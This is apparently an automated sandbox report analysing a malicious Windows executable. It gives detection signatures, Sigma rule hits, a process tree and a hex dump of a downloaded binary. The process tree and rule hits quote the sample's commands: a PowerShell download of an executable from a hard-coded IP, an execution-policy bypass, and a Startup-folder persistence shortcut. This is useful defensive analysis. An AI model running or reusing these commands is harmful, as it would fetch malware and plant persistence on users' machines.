Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
l5VhEpwzJy.exe

Overview

General Information

Sample name:l5VhEpwzJy.exe
renamed because original name is a hash value
Original sample name:2595fd71dc9e2c7d172921cb43e0f38c67be16097399a185c77763178186c727.exe
Analysis ID:1577202
MD5:ecc3626c90741e76f4a9b213a9c029d8
SHA1:c704541fc27fb03537163e34f446184fe96446e0
SHA256:2595fd71dc9e2c7d172921cb43e0f38c67be16097399a185c77763178186c727
Tags:139-99-188-124exeuser-JAMESWT_MHT
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Icon mismatch, binary includes an icon from a different legit application in order to fool users
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Bypasses PowerShell execution policy
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Execution of Powershell Script in Public Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
AV process strings found (often used to terminate AV products)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • l5VhEpwzJy.exe (PID: 7428 cmdline: "C:\Users\user\Desktop\l5VhEpwzJy.exe" MD5: ECC3626C90741E76F4A9B213A9C029D8)
    • powershell.exe (PID: 7472 cmdline: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 7756 cmdline: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • Guard.exe (PID: 7924 cmdline: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 MD5: 18CE19B57F43CE0A5AF149C96AECC685)
        • cmd.exe (PID: 7952 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 7960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • wscript.exe (PID: 7192 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • SwiftWrite.pif (PID: 7112 cmdline: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G" MD5: 18CE19B57F43CE0A5AF149C96AECC685)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Execution from Suspicious Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine|base64offset|contains: , Image: C:\Users\Public\Guard.exe, NewProcessName: C:\Users\Public\Guard.exe, OriginalFileName: C:\Users\Public\Guard.exe, ParentCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7756, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ProcessId: 7924, ProcessName: Guard.exe
Sigma detected: Execution of Powershell Script in Public Folder
Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\l5VhEpwzJy.exe", ParentImage: C:\Users\user\Desktop\l5VhEpwzJy.exe, ParentProcessId: 7428, ParentProcessName: l5VhEpwzJy.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 7756, ProcessName: powershell.exe
Sigma detected: Parent in Public Folder Suspicious Process
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ParentImage: C:\Users\Public\Guard.exe, ParentProcessId: 7924, ParentProcessName: Guard.exe, ProcessCommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, ProcessId: 7952, ProcessName: cmd.exe
Sigma detected: Script Interpreter Execution From Suspicious Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\l5VhEpwzJy.exe", ParentImage: C:\Users\user\Desktop\l5VhEpwzJy.exe, ParentProcessId: 7428, ParentProcessName: l5VhEpwzJy.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 7756, ProcessName: powershell.exe
Sigma detected: Suspicious Invoke-WebRequest Execution
Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\l5VhEpwzJy.exe", ParentImage: C:\Users\user\Desktop\l5VhEpwzJy.exe, ParentProcessId: 7428, ParentProcessName: l5VhEpwzJy.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7472, ProcessName: powershell.exe
Sigma detected: WScript or CScript Dropper
Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 7192, ProcessName: wscript.exe
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Source: File createdAuthor: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7472, TargetFilename: C:\Users\Public\Guard.exe
Sigma detected: Change PowerShell Policies to an Insecure Level
Source: Process startedAuthor: frack113: Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\l5VhEpwzJy.exe", ParentImage: C:\Users\user\Desktop\l5VhEpwzJy.exe, ParentProcessId: 7428, ParentProcessName: l5VhEpwzJy.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 7756, ProcessName: powershell.exe
Sigma detected: Execution of Suspicious File Type Extension
Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, NewProcessName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, OriginalFileName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", ProcessId: 7112, ProcessName: SwiftWrite.pif
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7472, TargetFilename: C:\Users\Public\Guard.exe
Sigma detected: PowerShell Web Download
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\l5VhEpwzJy.exe", ParentImage: C:\Users\user\Desktop\l5VhEpwzJy.exe, ParentProcessId: 7428, ParentProcessName: l5VhEpwzJy.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7472, ProcessName: powershell.exe
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\l5VhEpwzJy.exe", ParentImage: C:\Users\user\Desktop\l5VhEpwzJy.exe, ParentProcessId: 7428, ParentProcessName: l5VhEpwzJy.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7472, ProcessName: powershell.exe
Sigma detected: Usage Of Web Request Commands And Cmdlets
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\l5VhEpwzJy.exe", ParentImage: C:\Users\user\Desktop\l5VhEpwzJy.exe, ParentProcessId: 7428, ParentProcessName: l5VhEpwzJy.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7472, ProcessName: powershell.exe
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 7192, ProcessName: wscript.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\l5VhEpwzJy.exe", ParentImage: C:\Users\user\Desktop\l5VhEpwzJy.exe, ParentProcessId: 7428, ParentProcessName: l5VhEpwzJy.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7472, ProcessName: powershell.exe

Data Obfuscation

barindex
Sigma detected: Drops script at startup location
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 7952, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: l5VhEpwzJy.exeVirustotal: Detection: 36%Perma Link
Source: l5VhEpwzJy.exeReversingLabs: Detection: 58%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.7% probability
Source: l5VhEpwzJy.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53EC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,1_2_00007FF6A53EC7C0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53FA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,1_2_00007FF6A53FA874
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53FA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,1_2_00007FF6A53FA4F8
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53FA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,1_2_00007FF6A53FA350
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53F6428 FindFirstFileW,FindNextFileW,FindClose,1_2_00007FF6A53F6428
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53B2F50 FindFirstFileExW,1_2_00007FF6A53B2F50
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53EB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,1_2_00007FF6A53EB7C0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53F72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,1_2_00007FF6A53F72A8
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53F71F4 FindFirstFileW,FindClose,1_2_00007FF6A53F71F4
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53EBC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,1_2_00007FF6A53EBC70
Source: C:\Users\Public\Guard.exeCode function: 7_2_00664005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,7_2_00664005
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066494A GetFileAttributesW,FindFirstFileW,FindClose,7_2_0066494A
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,7_2_0066C2FF
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066CD14 FindFirstFileW,FindClose,7_2_0066CD14
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,7_2_0066CD9F
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,7_2_0066F5D8
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,7_2_0066F735
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,7_2_0066FA36
Source: C:\Users\Public\Guard.exeCode function: 7_2_00663CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,7_2_00663CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000F4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,12_2_000F4005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000F494A GetFileAttributesW,FindFirstFileW,FindClose,12_2_000F494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,12_2_000FC2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FCD14 FindFirstFileW,FindClose,12_2_000FCD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,12_2_000FCD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,12_2_000FF5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,12_2_000FF735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,12_2_000FFA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000F3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,12_2_000F3CE2
Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 08:19:24 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Thu, 05 Dec 2024 19:13:14 GMTETag: "da2a8-6288ab0a93fdd"Accept-Ranges: bytesContent-Length: 893608Keep-Alive: timeout=5, max=100Connection: Keep-AliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 0d 00 00 04 00 00 15 cd 0d 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cc d0 0b 00 7c 01 00 00 00 90 0c 00 50 d7 00 00 00 00 00 00 00 00 00 00 00 86 0d 00 a8 1c 00 00 00 70 0d 00 ac 71 00 00 90 3b 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 5b 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b1 e7 08 00 00 10 00 00 00 e8 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8e fd 02 00 00 00 09 00 00 fe 02 00 00 ec 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 